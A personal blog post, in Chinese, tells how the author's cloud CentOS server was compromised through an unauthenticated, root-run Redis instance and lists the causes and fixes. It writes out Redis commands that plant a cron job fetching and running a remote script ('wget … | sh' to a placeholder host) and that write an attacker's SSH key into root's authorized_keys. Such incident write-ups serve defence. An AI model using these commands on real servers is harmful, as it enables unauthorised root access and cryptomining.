前段时间在华为云上,用个人账号买了一台centos服务器,主要方便平时做一些测试,为了省钱,使用了竞价模式的按量付费,并且使用函数定时开关机(白天打开,晚上关闭),每个月大概几十块钱,最近在console控制台充值时,无意看见服务器cpu使用率很高,就想着看一些详细的监控指标,公有云的ECS虚拟机监控,一般都需要在ECS上安装采集数据的Agent,命令类似于:cd /usr/local && curl -k -O https://obs.cn-east-2.myhuaweicloud.com/uniagent-cn-east-2/script/agent_install.sh && bash agent_install.sh,其实一些Linux命令如Top等也能查看大部分metrics,只是agent模式页面更友好一些,然后安装时候就发现curl没有权限,换成wget也一样,可是我用root登录的啊, 一查发现根本没有目录/usr/bin/wget的权限,赋权时发现该目录被锁,解锁重新赋权也不行,如下图:
因为之前安装Elasticsearch时候,ES8.2强制不能使用root启动,就创建了普通用户并操作赋权,所以这时我一直怀疑是因为这些操作锁定了root的某些权限,然后开始查找在哪里进行了约束,
查找了很多资料,大多是讲怎么解决这个问题,都没有说是怎么导致的,于是我试着看看root启动了哪些进程,哪些进程可能和/usr/bin相关,然后就发现了如下两个可能相关的服务:
kill -9后发现过几秒依然重新启动,于是crontab -l查看是否有定时任务在执行,一看发现
好像不是我之前保存的定时任务,这里面的内容和redis相关,解析了下64base的内容,域名如下:
这个域名的IP地址显示在美国拉斯维加斯,一查biden1发现都是和挖矿相关,这时我觉得服务器应该是被黑了,而且根据script内容很可能和redis相关,查阅资料发现有关redis的攻击方法主要有两种,第一种是利用redis的持久化机制,redis默认存储快照的文件名为dump.rdb,默认dir为redis安装路径,可以执行save命令手动备份或者配置自动备份,而且redis默认安装后不需要密码验证,同时如果服务器暴露在公网并且没有源IP限制,又是用root启动redis,那么攻击者可以直接连接redis,然后执行config set dbfilename crontab,config set dir /etc来更改默认dump文件,接着往redis写入数据
set backupxxx "*/3 * * * * root wget -q -O- http://xxxx/bash.sh | sh"
, 再执行save
操作, 一个root权限的定时执行脚本就成功写入你的服务器了。
第二种攻击和第一种原理类似,只不过篡改的dbfilename和dir变成了ssh的密钥文件,
config set dir /root/.ssh
config set dbfilename authorized_keys
具体流程应该是首先在自己电脑生成RSA密钥,接着将公钥导入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合),再把key.txt文件内容写入服务端redis里,大概如下:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.43.82 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
然后执行save,就把自己生成的公钥植入被攻击服务器的authorized.keys里了,这样就可以ssh连接到服务器了,这种危害比较大,攻击者直接以root登录服务器,很不幸,我就是这种,所以虚拟机被大量写入了守护进程,守护脚本,定时任务等,但是并没有删除我的数据和文件,可能没有勒索价值。
这次被黑的原因显而易见了,一是服务器没有通过安全组限制源IP,二是redis没有设置密码,三是用root启动了redis这种级别的服务(现在好多服务已经强制不能用root启动了,比如ES,所以还是要提前设置好服务器的权限划分),最后想说的就是,虽然我没有购买付费的虚拟机安全监控服务,但是使用了免费的态势感知、Anti-DDoS流量清洗等服务,华为云对这种简单又常见的服务器攻击竟然一点报警信息都没有,真是不应该。